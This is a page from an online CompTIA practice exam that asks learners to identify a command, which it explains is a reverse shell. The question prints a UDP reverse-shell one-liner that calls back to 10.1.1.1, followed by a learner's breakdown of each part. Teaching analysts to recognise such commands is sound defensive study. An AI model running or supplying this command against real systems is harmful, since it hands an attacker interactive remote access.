Preparing Practice Exam…
Please wait a moment while the system generates the exam questions, answers, and study session.
Please wait a moment while the system generates the exam questions, answers, and study session.
CompTIA is retiring this exam on Dec 22, 2026.
Replacement: CS0-004 Practice Exam
Question 39 of 161
Free Preview · 161 of 534 · questions 1–161 of 534 are free. Sign up free to sync your progress across devices.
Select one answer.
Written by other learners. Comments can disagree with the marked answer — check the official documentation when in doubt.
The command sh -i >& /dev/udp/10.1.1.1/4821 0>$l is attempting to establish a reverse shell. In this command: sh -i: Launches the Bourne shell (sh) in interactive mode (-i), allowing for interactive command execution. >&: Redirects both standard output and standard error. /dev/udp/10.1.1.1/4821: Specifies the destination for the redirected output, in this case, an IP address (10.1.1.1) and port (4821) using UDP. 0>$l: Redirects file descriptor 0 (standard input) to an undefined variable $l. This command is attempting to establish a shell connection back to the specified IP address and port, effectively allowing the attacker to gain remote access to the system.
The answer is B. Reverse shell
Correct This command is a shell script that creates a reverse shell connection from the target system to the remote user’s system at IP address 10.1.1.1 and port 4821 using UDP protocol.